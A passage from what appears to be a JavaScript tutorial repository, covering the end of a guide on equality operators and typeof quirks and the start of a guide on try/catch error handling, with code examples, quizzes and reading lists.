=== \"object\") {\n      // It's definitely an object (not null)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Arrays Return 'object'\">\n    ```javascript\n    typeof []           // \"object\"\n    typeof [1, 2, 3]    // \"object\"\n    typeof new Array()  // \"object\"\n    ```\n    \n    **Why?** Arrays ARE objects in JavaScript. They inherit from `Object.prototype` and have special behavior for numeric keys and the `length` property, but they're still objects.\n    \n    **How to check for arrays:**\n    ```javascript\n    Array.isArray([])           // true (recommended)\n    Array.isArray({})           // false\n    Array.isArray(\"hello\")      // false\n    \n    // Or using Object.prototype.toString\n    Object.prototype.toString.call([])  // \"[object Array]\"\n    ```\n    \n    Use **[`Array.isArray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray)**. It's the most reliable method.\n  </Accordion>\n  \n  <Accordion title=\"Functions Return 'function'\">\n    ```javascript\n    typeof function() {}    // \"function\"\n    typeof (() => {})       // \"function\"\n    typeof class {}         // \"function\"\n    typeof Math.sin         // \"function\"\n    ```\n    \n    **Why is this different?** Functions are technically objects too, but `typeof` treats them specially because checking for \"callable\" values is so common. This is actually convenient!\n    \n    ```javascript\n    // This makes checking for functions easy\n    if (typeof callback === \"function\") {\n      callback();\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"typeof on Undeclared Variables\">\n    ```javascript\n    // Referencing an undeclared variable throws an error\n    console.log(undeclaredVar);  // ReferenceError!\n    \n    // But typeof on an undeclared variable returns \"undefined\"\n    typeof undeclaredVar         // \"undefined\" (no error!)\n    ```\n    \n    **Why?** This was a design decision to allow safe feature detection:\n    \n    ```javascript\n    // Safe way to check if a global exists\n    if (typeof jQuery !== \"undefined\") {\n      // jQuery is available\n    }\n    \n    // vs. this would throw if jQuery doesn't exist\n    if (jQuery !== undefined) {\n      // ReferenceError if jQuery not defined!\n    }\n    ```\n    \n    <Note>\n    In modern JavaScript with modules and bundlers, this pattern is less necessary. But it's still useful for checking global variables and browser features.\n    </Note>\n  </Accordion>\n  \n  <Accordion title=\"NaN is a 'number' — Yes, Really\">\n    ```javascript\n    typeof NaN          // \"number\"\n    ```\n    \n    \"Not a Number\" has a typeof of `\"number\"`. This sounds strange, but `NaN` is actually a special value in the number system. It represents a calculation that doesn't have a valid result, like `0 / 0`.\n    \n    ```javascript\n    // These all produce NaN\n    0 / 0              // NaN\n    parseInt(\"hello\")  // NaN\n    Math.sqrt(-1)      // NaN\n    \n    // Check for NaN properly\n    Number.isNaN(NaN)  // true\n    ```\n  </Accordion>\n</AccordionGroup>\n\n### Better Alternatives for Type Checking\n\nSince `typeof` has limitations, here are more reliable approaches:\n\n<Tabs>\n  <Tab title=\"Type-Specific Checks\">\n    ```javascript\n    // Arrays\n    Array.isArray(value)           // true for arrays only\n    \n    // NaN\n    Number.isNaN(value)            // true for NaN only (no coercion)\n    \n    // Finite numbers\n    Number.isFinite(value)         // true for finite numbers\n    \n    // Integers\n    Number.isInteger(value)        // true for integers\n    \n    // Safe integers\n    Number.isSafeInteger(value)    // true for safe integers\n    ```\n    \n    These methods from **[`Number`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number)** are more reliable than `typeof` for numeric checks.\n  </Tab>\n  \n  <Tab title=\"instanceof\">\n    The **[`instanceof` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof)** checks if an object is an instance of a constructor:\n    \n    ```javascript\n    // Check if an object is an instance of a constructor\n    [] instanceof Array            // true\n    {} instanceof Object           // true\n    new Date() instanceof Date     // true\n    /regex/ instanceof RegExp      // true\n    \n    // Works with custom classes\n    class Person {}\n    const p = new Person();\n    p instanceof Person            // true\n    \n    // Caveat: doesn't work across iframes/realms\n    // The Array in iframe A is different from Array in iframe B\n    ```\n  </Tab>\n  \n  <Tab title=\"Object.prototype.toString\">\n    The **[`Object.prototype.toString`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)** method is the most reliable for getting precise type information:\n    \n    ```javascript\n    const getType = (value) => \n      Object.prototype.toString.call(value).slice(8, -1);\n    \n    getType(null)           // \"Null\"\n    getType(undefined)      // \"Undefined\"\n    getType([])             // \"Array\"\n    getType({})             // \"Object\"\n    getType(new Date())     // \"Date\"\n    getType(/regex/)        // \"RegExp\"\n    getType(new Map())      // \"Map\"\n    getType(new Set())      // \"Set\"\n    getType(Promise.resolve()) // \"Promise\"\n    getType(function(){})   // \"Function\"\n    getType(42)             // \"Number\"\n    getType(\"hello\")        // \"String\"\n    getType(Symbol())       // \"Symbol\"\n    getType(42n)            // \"BigInt\"\n    ```\n  </Tab>\n  \n  <Tab title=\"Custom Type Checker\">\n    A comprehensive type-checking utility:\n    \n    ```javascript\n    function getType(value) {\n      // Handle null specially (typeof bug)\n      if (value === null) return \"null\";\n      \n      // Handle primitives\n      const type = typeof value;\n      if (type !== \"object\" && type !== \"function\") {\n        return type;\n      }\n      \n      // Handle objects with Object.prototype.toString\n      const tag = Object.prototype.toString.call(value);\n      return tag.slice(8, -1).toLowerCase();\n    }\n    \n    // Usage\n    getType(null)           // \"null\"\n    getType([])             // \"array\"\n    getType({})             // \"object\"\n    getType(new Date())     // \"date\"\n    getType(/regex/)        // \"regexp\"\n    getType(new Map())      // \"map\"\n    getType(Promise.resolve()) // \"promise\"\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## Decision Guide: Which to Use?\n\n### The Simple Rule\n\n<Info>\n**Default to `===`** for all comparisons. It's predictable, doesn't perform type coercion, and will save you from countless bugs.\n\nThe only exception: Use `== null` to check for both `null` and `undefined` in one comparison.\n</Info>\n\n### Decision Flowchart\n\n```\n                    Need to compare two values?\n                              │\n                              ▼\n              ┌───────────────────────────────┐\n              │ Checking for null/undefined?  │\n              └───────────────────────────────┘\n                      │               │\n                     YES              NO\n                      │               │\n                      ▼               ▼\n               ┌──────────┐   ┌───────────────────┐\n               │ == null  │   │ Need NaN or ±0?   │\n               └──────────┘   └───────────────────┘\n                                  │           │\n                                 YES          NO\n                                  │           │\n                                  ▼           ▼\n                            ┌──────────┐ ┌─────────┐\n                            │Object.is │ │   ===   │\n                            │    or    │ └─────────┘\n                            │Number.   │\n                            │ isNaN()  │\n                            └──────────┘\n```\n\n### Quick Reference\n\n| Scenario | Use | Example |\n|----------|-----|---------|\n| Default comparison | `===` | `if (x === 5)` |\n| Check nullish | `== null` | `if (value == null)` |\n| Check NaN | `Number.isNaN()` | `if (Number.isNaN(x))` |\n| Check array | `Array.isArray()` | `if (Array.isArray(x))` |\n| Check type | `typeof` | `if (typeof x === \"string\")` |\n| Distinguish ±0 | `Object.is()` | `Object.is(x, -0)` |\n\n### ESLint Configuration\n\nMost style guides enforce `===` with an exception for null checks:\n\n```javascript\n// .eslintrc.js\nmodule.exports = {\n  rules: {\n    // Require === and !== except for null comparisons\n    \"eqeqeq\": [\"error\", \"always\", { \"null\": \"ignore\" }]\n  }\n};\n```\n\nThis allows:\n```javascript\n// Allowed\nif (value === 5) { }      // Using ===\nif (value == null) { }    // Exception for null\n\n// Error\nif (value == 5) { }       // Should use ===\n```\n\n---\n\n## Common Gotchas and Mistakes\n\nThese common mistakes trip up many JavaScript developers. Learning about them now will save you debugging time later:\n\n<AccordionGroup>\n  <Accordion title=\"1. Comparing Objects by Value\">\n    **The mistake:**\n    ```javascript\n    const user1 = { name: \"Alice\" };\n    const user2 = { name: \"Alice\" };\n    \n    if (user1 === user2) {\n      console.log(\"Same user!\");  // Never runs!\n    }\n    ```\n    \n    **Why it's wrong:** Objects are compared by reference, not by value. Two objects with identical content are still different objects.\n    \n    **The fix:**\n    ```javascript\n    // Option 1: Compare specific properties\n    if (user1.name === user2.name) {\n      console.log(\"Same name!\");\n    }\n    \n    // Option 2: JSON.stringify (simple objects only)\n    if (JSON.stringify(user1) === JSON.stringify(user2)) {\n      console.log(\"Same content!\");\n    }\n    \n    // Option 3: Deep equality function or library\n    import { isEqual } from 'lodash';\n    if (isEqual(user1, user2)) {\n      console.log(\"Same content!\");\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Truthy/Falsy Confusion with ==\">\n    **The mistake:**\n    ```javascript\n    // These all behave unexpectedly\n    if ([] == false) { }      // true! (but [] is truthy)\n    if (\"0\" == false) { }     // true! (but \"0\" is truthy)\n    if (\" \" == false) { }     // false (but \" \" is truthy)\n    ```\n    \n    **Why it's confusing:** The `==` operator doesn't check truthiness. It performs type coercion according to specific rules.\n    \n    **The fix:**\n    ```javascript\n    // Use === for explicit comparisons\n    if (value === false) { }  // Only true for actual false\n    \n    // Or check truthiness directly\n    if (!value) { }           // Falsy check\n    if (value) { }            // Truthy check\n    \n    // For explicit boolean conversion\n    if (Boolean(value) === false) { }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. NaN Comparisons\">\n    **The mistake:**\n    ```javascript\n    const result = parseInt(\"hello\");\n    \n    if (result === NaN) {\n      console.log(\"Not a number!\");  // Never runs!\n    }\n    ```\n    \n    **Why it's wrong:** `NaN` is never equal to anything, including itself.\n    \n    **The fix:**\n    ```javascript\n    // Use Number.isNaN()\n    if (Number.isNaN(result)) {\n      console.log(\"Not a number!\");  // Works!\n    }\n    \n    // Or Object.is()\n    if (Object.is(result, NaN)) {\n      console.log(\"Not a number!\");  // Works!\n    }\n    \n    // Avoid isNaN() - it coerces first\n    isNaN(\"hello\")         // true (coerces to NaN)\n    Number.isNaN(\"hello\")  // false (no coercion)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. The typeof null Trap\">\n    **The mistake:**\n    ```javascript\n    function processObject(obj) {\n      if (typeof obj === \"object\") {\n        // Might be null!\n        console.log(obj.property);  // TypeError if null!\n      }\n    }\n    \n    processObject(null);  // Crashes!\n    ```\n    \n    **Why it's wrong:** `typeof null === \"object\"` is true due to a historical bug.\n    \n    **The fix:**\n    ```javascript\n    function processObject(obj) {\n      // Check for null AND typeof\n      if (obj !== null && typeof obj === \"object\") {\n        console.log(obj.property);\n      }\n      \n      // Or use optional chaining (ES2020)\n      console.log(obj?.property);\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. String Comparison Gotchas\">\n    **The mistake:**\n    ```javascript\n    // Comparing numbers as strings\n    console.log(\"10\" > \"9\");    // false! (string comparison)\n    \n    // Why? Strings compare character by character\n    // \"1\" (code 49) < \"9\" (code 57)\n    ```\n    \n    **Why it's wrong:** String comparison uses lexicographic order (like a dictionary), not numeric value.\n    \n    **The fix:**\n    ```javascript\n    // Convert to numbers first\n    console.log(Number(\"10\") > Number(\"9\"));  // true\n    console.log(+\"10\" > +\"9\");                // true (unary +)\n    console.log(parseInt(\"10\") > parseInt(\"9\")); // true\n    \n    // For sorting arrays of number strings\n    [\"10\", \"9\", \"2\"].sort((a, b) => a - b);  // [\"2\", \"9\", \"10\"]\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. Empty Array Comparisons\">\n    **The mistake:**\n    ```javascript\n    const arr = [];\n    \n    // These seem contradictory\n    console.log(arr == false);    // true\n    console.log(arr ? \"yes\" : \"no\");  // \"yes\"\n    \n    // So arr equals false but is truthy?!\n    ```\n    \n    **Why it's confusing:** `==` uses type coercion (`[] → \"\" → 0`), but truthiness just checks if the value is truthy (all objects are truthy).\n    \n    **The fix:**\n    ```javascript\n    // Check array length for \"emptiness\"\n    if (arr.length === 0) {\n      console.log(\"Array is empty\");\n    }\n    \n    // Or use the array itself as a boolean\n    // (but remember, empty array is truthy!)\n    if (!arr.length) {\n      console.log(\"Array is empty\");\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"Misconception 1: '== is always bad and should never be used'\">\n    **Not quite!** While `===` should be your default, there's one legitimate use case for `==`:\n    \n    ```javascript\n    // The one acceptable use of ==\n    if (value == null) {\n      // Catches both null AND undefined\n    }\n    \n    // Equivalent to:\n    if (value === null || value === undefined) {\n      // Same result, but more verbose\n    }\n    ```\n    \n    This is cleaner than checking for both values separately and is explicitly allowed by most style guides (including ESLint's `eqeqeq` rule with the `\"null\": \"ignore\"` option).\n  </Accordion>\n  \n  <Accordion title=\"Misconception 2: '=== checks if types are the same'\">\n    **Partially wrong!** `===` doesn't *just* check types. It checks if two values are the **same type AND same value**.\n    \n    ```javascript\n    // Same type, different values → false\n    5 === 10          // false (both numbers, different values)\n    \"hello\" === \"hi\"  // false (both strings, different values)\n    \n    // Different types → immediately false\n    5 === \"5\"         // false (no value comparison even attempted)\n    ```\n    \n    The key point: `===` returns `false` immediately if types differ, then compares values if types match.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 3: 'typeof is reliable for checking all types'\">\n    **Wrong!** `typeof` has several well-known quirks:\n    \n    ```javascript\n    typeof null         // \"object\" — famous bug from 1995!\n    typeof []           // \"object\" — arrays are objects\n    typeof NaN          // \"number\" — Not-a-Number is a number type\n    typeof function(){} // \"function\" — but functions ARE objects!\n    ```\n    \n    **Better alternatives:**\n    - Use `Array.isArray()` for arrays\n    - Use `value === null` for null\n    - Use `Number.isNaN()` for NaN\n    - Use `Object.prototype.toString.call()` for precise type detection\n  </Accordion>\n  \n  <Accordion title=\"Misconception 4: 'Objects with the same content are equal'\">\n    **Wrong!** Objects (including arrays and functions) are compared by **reference**, not by content:\n    \n    ```javascript\n    { a: 1 } === { a: 1 }  // false — different objects in memory!\n    [] === []              // false — different arrays!\n    (() => {}) === (() => {})  // false — different functions!\n    \n    const obj = { a: 1 };\n    obj === obj            // true — same reference\n    ```\n    \n    To compare object contents, use `JSON.stringify()` for simple cases or a deep equality function like Lodash's `_.isEqual()`.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 5: 'NaN means the value is not a number'\">\n    **Misleading!** `NaN` is actually a *numeric value* that represents an undefined or unrepresentable mathematical result:\n    \n    ```javascript\n    typeof NaN  // \"number\" — NaN IS a number type!\n    \n    // NaN appears from invalid math operations\n    0 / 0           // NaN\n    Math.sqrt(-1)   // NaN\n    parseInt(\"xyz\") // NaN\n    Infinity - Infinity  // NaN\n    ```\n    \n    Think of `NaN` as \"the result of a calculation that doesn't produce a meaningful number\" rather than literally \"not a number.\"\n  </Accordion>\n  \n  <Accordion title=\"Misconception 6: 'Truthy values are == true'\">\n    **Wrong!** Truthy/falsy and `==` equality are completely different concepts:\n    \n    ```javascript\n    // These are truthy but NOT == true\n    \"hello\" == true   // false! (\"hello\" → NaN, true → 1)\n    2 == true         // false! (2 !== 1)\n    [] == true        // false! ([] → \"\" → 0, true → 1)\n    \n    // But they ARE truthy\n    if (\"hello\") { }  // executes\n    if (2) { }        // executes\n    if ([]) { }       // executes\n    ```\n    \n    **Rule:** Don't use `== true` or `== false`. Either use `===` or just rely on truthiness directly: `if (value)`.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Equality Operators:**\n\n1. **Use `===` by default** — It's predictable and doesn't convert types\n\n2. **`==` converts types first** — This leads to unexpected results like `\"0\" == false` being `true`\n\n3. **Only use `==` for null checks** — `value == null` checks for both `null` and `undefined`\n\n4. **`NaN !== NaN`** — NaN doesn't equal anything, not even itself. Use `Number.isNaN()` to check for it\n\n5. **Objects compare by reference** — `{} === {}` is `false` because they're different objects in memory\n\n6. **`typeof null === \"object\"`** — This is a bug that can't be fixed. Always check for `null` directly\n\n7. **`Object.is()` for edge cases** — Use it when you need to check for `NaN` or distinguish `+0` from `-0`\n\n8. **Arrays return `\"object\"` from typeof** — Use `Array.isArray()` to check for arrays\n\n9. **These rules are commonly asked in interviews** — Now you're prepared!\n\n10. **Configure ESLint** — Use the `eqeqeq` rule to enforce `===` in your projects\n</Info>\n\n---\n\n## Interactive Visualization Tool\n\nThe best way to internalize JavaScript's equality rules is to see all the comparisons at once.\n\n<Card title=\"JavaScript Equality Table\" icon=\"table\" href=\"https://dorey.github.io/JavaScript-Equality-Table/\">\n  Interactive comparison table by dorey showing the results of `==` and `===` for all type combinations. Hover over cells to see explanations. An essential reference for understanding JavaScript equality!\n</Card>\n\n**Try these in the table:**\n- Compare `[]` with `false`, `0`, `\"\"`, and `![]` to see why `[] == ![]` is `true`\n- See why `null == undefined` is `true` but neither equals `0` or `false`\n- Observe how `NaN` never equals anything (including itself)\n- Notice how objects only equal themselves (same reference)\n\n<Tip>\n**Bookmark this table!** It's invaluable for debugging comparison issues and preparing for technical interviews.\n</Tip>\n\n---\n\n## Test Your Knowledge\n\nTry to answer each question before revealing the solution:\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is the output of [] == ![] ?\">\n    **Answer:** `true`\n    \n    **Step-by-step:**\n    1. `![]` → `false` (arrays are truthy, so negation makes false)\n    2. `[] == false` → `[] == 0` (boolean converts to number)\n    3. `[] == 0` → `\"\" == 0` (array converts to empty string)\n    4. `\"\" == 0` → `0 == 0` (string converts to number)\n    5. `0 == 0` → `true`\n    \n    This is why understanding type conversion is so important!\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why does typeof null return 'object'?\">\n    **Answer:** This is a bug from JavaScript's original implementation in 1995.\n    \n    In the original C code, values were represented with a type tag. Objects had the tag `000`, and `null` was represented as the NULL pointer (`0x00`), which also matched the `000` tag for objects.\n    \n    This bug was never fixed because too much existing code depends on this behavior. A proposal to fix it was rejected for backward compatibility reasons.\n    \n    **Workaround:** Always check for null explicitly: `value === null`\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How would you properly check if a value is NaN?\">\n    **Answer:** Use `Number.isNaN()`:\n    \n    ```javascript\n    Number.isNaN(NaN)        // true\n    Number.isNaN(\"hello\")    // false (no coercion)\n    Number.isNaN(undefined)  // false\n    ```\n    \n    **Avoid** the global `isNaN()` because it coerces its argument first:\n    \n    ```javascript\n    isNaN(\"hello\")           // true (coerces to NaN)\n    isNaN(undefined)         // true (coerces to NaN)\n    ```\n    \n    You can also use `Object.is(value, NaN)` which returns `true` for `NaN`.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the ONE legitimate use case for ==?\">\n    **Answer:** Checking for both `null` and `undefined` in a single comparison:\n    \n    ```javascript\n    // Using ==\n    if (value == null) {\n      // value is null OR undefined\n    }\n    \n    // Equivalent to:\n    if (value === null || value === undefined) {\n      // value is null OR undefined\n    }\n    ```\n    \n    This works because `null == undefined` is `true` (special case in the spec), but `null` and `undefined` don't loosely equal anything else (not even `0`, `\"\"`, or `false`).\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why does {} === {} return false?\">\n    **Answer:** Objects are compared by **reference**, not by **value**.\n    \n    When you write `{}`, JavaScript creates a new object in memory. When you write another `{}`, it creates a completely different object. Even though they have the same content (both are empty objects), they are stored at different memory locations.\n    \n    ```javascript\n    const a = {};\n    const b = {};\n    const c = a;\n    \n    a === b    // false (different objects)\n    a === c    // true  (same reference)\n    ```\n    \n    To compare objects by content, you need to compare their properties or use a deep equality function.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the difference between === and Object.is()?\">\n    **Answer:** They behave identically except for two edge cases:\n    \n    | Expression | `===` | `Object.is()` |\n    |------------|-------|---------------|\n    | `NaN, NaN` | `false` | `true` |\n    | `+0, -0` | `true` | `false` |\n    \n    ```javascript\n    NaN === NaN            // false\n    Object.is(NaN, NaN)    // true\n    \n    +0 === -0              // true\n    Object.is(+0, -0)      // false\n    ```\n    \n    Use `===` for everyday comparisons. Use `Object.is()` when you specifically need to check for `NaN` equality or distinguish positive from negative zero.\n  </Accordion>\n  \n  <Accordion title=\"Question 7: How would you reliably check if something is an array?\">\n    **Answer:** Use `Array.isArray()`:\n    \n    ```javascript\n    Array.isArray([])           // true\n    Array.isArray([1, 2, 3])    // true\n    Array.isArray(new Array())  // true\n    \n    Array.isArray({})           // false\n    Array.isArray(\"hello\")      // false\n    Array.isArray(null)         // false\n    ```\n    \n    **Why not `typeof`?** Because `typeof [] === \"object\"`. Arrays are objects in JavaScript.\n    \n    **Why not `instanceof Array`?** It works in most cases, but can fail across different JavaScript realms (like iframes) where each realm has its own `Array` constructor.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between == and === in JavaScript?\">\n    The `==` (loose equality) operator converts values to the same type before comparing, while `===` (strict equality) compares both type and value without any conversion. For example, `5 == \"5\"` is true because the string is coerced to a number, but `5 === \"5\"` is false because a number and string are different types. According to the ECMAScript specification, `===` should be your default choice for reliable comparisons.\n  </Accordion>\n\n  <Accordion title=\"Why does NaN not equal itself in JavaScript?\">\n    This behavior comes from the IEEE 754 floating-point specification, which JavaScript follows. NaN represents an undefined or unrepresentable mathematical result (like `0/0` or `Math.sqrt(-1)`), so it cannot meaningfully equal any value — including itself. Use `Number.isNaN()` to check for NaN reliably.\n  </Accordion>\n\n  <Accordion title=\"When should I use == instead of === in JavaScript?\">\n    The only widely accepted use case for `==` is checking for null or undefined in a single expression: `if (value == null)`. This catches both `null` and `undefined` because the ECMAScript specification defines `null == undefined` as true. Most linters, including ESLint's `eqeqeq` rule, allow this specific pattern while enforcing `===` everywhere else.\n  </Accordion>\n\n  <Accordion title=\"What is Object.is() and when should I use it?\">\n    `Object.is()` is an ES6 method that implements the \"SameValue\" equality algorithm. It behaves like `===` except in two cases: `Object.is(NaN, NaN)` returns true (unlike `===`), and `Object.is(+0, -0)` returns false (unlike `===`). Use it when you need to distinguish positive and negative zero or reliably detect NaN.\n  </Accordion>\n\n  <Accordion title=\"Why does typeof null return 'object' in JavaScript?\">\n    This is a well-known bug from JavaScript's first implementation in 1995. As documented by MDN, values in the original engine used type tags, and both objects and null shared the `000` tag. A TC39 proposal to fix this was rejected because changing it would break backward compatibility with millions of existing websites. Always check for null explicitly with `value === null`.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Type Coercion\" icon=\"shuffle\" href=\"/concepts/type-coercion\">\n    Deep dive into how JavaScript converts between types automatically\n  </Card>\n  <Card title=\"Primitive Types\" icon=\"cube\" href=\"/concepts/primitive-types\">\n    Understanding JavaScript's fundamental data types\n  </Card>\n  <Card title=\"Primitives vs Objects\" icon=\"clone\" href=\"/concepts/primitives-objects\">\n    How primitives and objects behave differently in JavaScript\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    Understanding where variables are accessible in your code\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Equality comparisons and sameness — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness\">\n    Comprehensive official documentation covering ==, ===, Object.is(), and SameValue\n  </Card>\n  <Card title=\"typeof — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof\">\n    Official documentation on the typeof operator and its behavior\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Double Equals vs. Triple Equals — Brandon Morelli\" icon=\"newspaper\" href=\"https://codeburst.io/javascript-double-equals-vs-triple-equals-61d4ce5a121a\">\n    Uses side-by-side code comparisons to show exactly when == and === produce different results. Great starting point if you're new to JavaScript equality.\n  </Card>\n  <Card title=\"What is the difference between == and === in JavaScript? — Craig Buckler\" icon=\"newspaper\" href=\"https://www.oreilly.com/learning/what-is-the-difference-between-and-in-javascript\">\n    O'Reilly's take on the equality debate with a clear recommendation on which operator to default to. Includes the edge cases that trip up even experienced developers.\n  </Card>\n  <Card title=\"=== vs == Comparison in JavaScript — FreeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/javascript-triple-equals-sign-vs-double-equals-sign-comparison-operators-explained-with-examples/\">\n    Walks through the type coercion algorithm step-by-step with dozens of examples. The boolean comparison section explains why `true == \"true\"` returns false.\n  </Card>\n  <Card title=\"Checking Types in Javascript — Toby Ho\" icon=\"newspaper\" href=\"http://tobyho.com/2011/01/28/checking-types-in-javascript/\">\n    Covers the limitations of typeof and when to use instanceof, Object.prototype.toString, or duck typing instead. Includes a reusable type-checking utility function.\n  </Card>\n  <Card title=\"How to better check data types in JavaScript — Webbjocke\" icon=\"newspaper\" href=\"https://webbjocke.com/javascript-check-data-types/\">\n    Provides copy-paste utility functions for checking arrays, objects, nulls, and primitives. Explains why each approach works and when to use which method.\n  </Card>\n  <Card title=\"JavaScript Equality Table — dorey\" icon=\"newspaper\" href=\"https://dorey.github.io/JavaScript-Equality-Table/\">\n    Visual comparison table showing the results of == and === for all type combinations. Essential reference!\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title='JavaScript \"==\" VS \"===\" — Web Dev Simplified' icon=\"video\" href=\"https://www.youtube.com/watch?v=C5ZVC4HHgIg\">\n    8-minute breakdown with on-screen code examples showing type coercion in action. Kyle's explanation of the null/undefined special case is particularly helpful.\n  </Card>\n  <Card title=\"JavaScript - The typeof operator — Java Brains\" icon=\"video\" href=\"https://www.youtube.com/watch?v=ol_su88I3kw\">\n    Demonstrates the typeof null bug and explains why it exists. Shows how to build a reliable type-checking function that handles all edge cases.\n  </Card>\n  <Card title=\"=== vs == in JavaScript — Hitesh Choudhary\" icon=\"video\" href=\"https://www.youtube.com/watch?v=a0S1iG3TgP0\">\n    Live coding session showing surprising equality results and debugging them in the console. Great for seeing how these operators behave in real development.\n  </Card>\n  <Card title=\"== ? === ??? ...#@^% — Shirmung Bielefeld\" icon=\"video\" href=\"https://www.youtube.com/watch?v=qGyqzN0bjhc&t\">\n    Conference talk diving deep into JavaScript's equality quirks and type coercion weirdness.\n  </Card>\n</CardGroup>\n\n---\n\n## Books\n\n<Card title=\"You Don't Know JS: Types & Grammar — Kyle Simpson\" icon=\"book\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/README.md\">\n  The definitive deep-dive into JavaScript types, coercion, and equality. Free to read online. Essential reading for truly understanding how JavaScript handles comparisons.\n</Card>\n"
  },
  {
    "path": "docs/concepts/error-handling.mdx",
    "content": "---\ntitle: \"Error Handling\"\nsidebarTitle: \"Error Handling: Managing Errors Gracefully\"\ndescription: \"Learn JavaScript error handling with try/catch/finally. Understand Error types, custom errors, async error patterns, and best practices for robust code.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"error handling, try catch finally, custom errors, error types, exception handling\"\n---\n\nWhat happens when something goes wrong in your JavaScript code? How do you prevent one small error from crashing your entire application? How do you give users helpful feedback instead of a cryptic error message?\n\n```javascript\n// Without error handling - your app crashes\nconst userData = JSON.parse('{ invalid json }')  // SyntaxError!\n\n// With error handling - you stay in control\ntry {\n  const userData = JSON.parse('{ invalid json }')\n} catch (error) {\n  console.log('Could not parse user data:', error.message)\n  // Show user a friendly message, use default data, etc.\n}\n```\n\n**[Error handling](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#exception_handling_statements)** is how you detect, respond to, and recover from errors in your code. JavaScript provides the `try...catch...finally` statement for synchronous errors and special patterns for handling async errors in [Promises](/concepts/promises) and [async/await](/concepts/async-await).\n\n<Info>\n**What you'll learn in this guide:**\n- The `try...catch...finally` statement and when to use each block\n- The Error object and its properties (name, message, stack)\n- Built-in Error types: TypeError, ReferenceError, SyntaxError, and more\n- How to throw your own errors with meaningful messages\n- Creating custom Error classes for better error categorization\n- Error handling patterns for async code\n- Global error handlers for catching uncaught errors\n- Common mistakes and real-world patterns\n</Info>\n\n<Warning>\n**Helpful prerequisite:** This guide covers async error handling briefly. For a deeper dive into async patterns, check out [Promises](/concepts/promises) and [async/await](/concepts/async-await) first.\n</Warning>\n\n---\n\n## What is Error Handling in JavaScript?\n\nErrors happen. Users enter invalid data, network requests fail, APIs return unexpected responses, and sometimes we just make typos. **Error handling** is your strategy for detecting, responding to, and recovering from these problems gracefully. In JavaScript, you use the `try...catch` statement to catch errors, the `throw` statement to create them, and the `Error` object to describe what went wrong. According to the [Stack Overflow 2023 Developer Survey](https://survey.stackoverflow.co/2023/), debugging and error handling remain among the most time-consuming aspects of development, making robust error handling patterns a critical skill.\n\n<CardGroup cols={2}>\n  <Card title=\"Error — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error\">\n    Official MDN documentation for the Error object\n  </Card>\n  <Card title=\"try...catch — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch\">\n    MDN documentation for the try...catch statement\n  </Card>\n</CardGroup>\n\n---\n\n## The Safety Net Analogy\n\nThink of error handling like a trapeze act at a circus. The acrobat (your code) performs risky moves high above the ground. The safety net (your catch block) is there to catch them if they fall. And no matter what happens, the show must go on (your finally block).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       THE SAFETY NET ANALOGY                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│     try {                         TRAPEZE ACT                            │\n│       riskyMove()                 ┌─────────┐                            │\n│     }                             │ ACROBAT │  ← Your risky code         │\n│                                   └────┬────┘                            │\n│                                        │                                 │\n│     catch (error) {                    ▼  FALLS!                         │\n│       recover()              ═══════════════════════                     │\n│     }                            SAFETY NET  ← Catches the error         │\n│                                                                          │\n│     finally {                   The show continues!                      │\n│       cleanup()                 (runs no matter what)                    │\n│     }                                                                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n| Circus | JavaScript | Purpose |\n|--------|------------|---------|\n| Trapeze act | `try` block | Code that might fail |\n| Safety net | `catch` block | Handles the error if one occurs 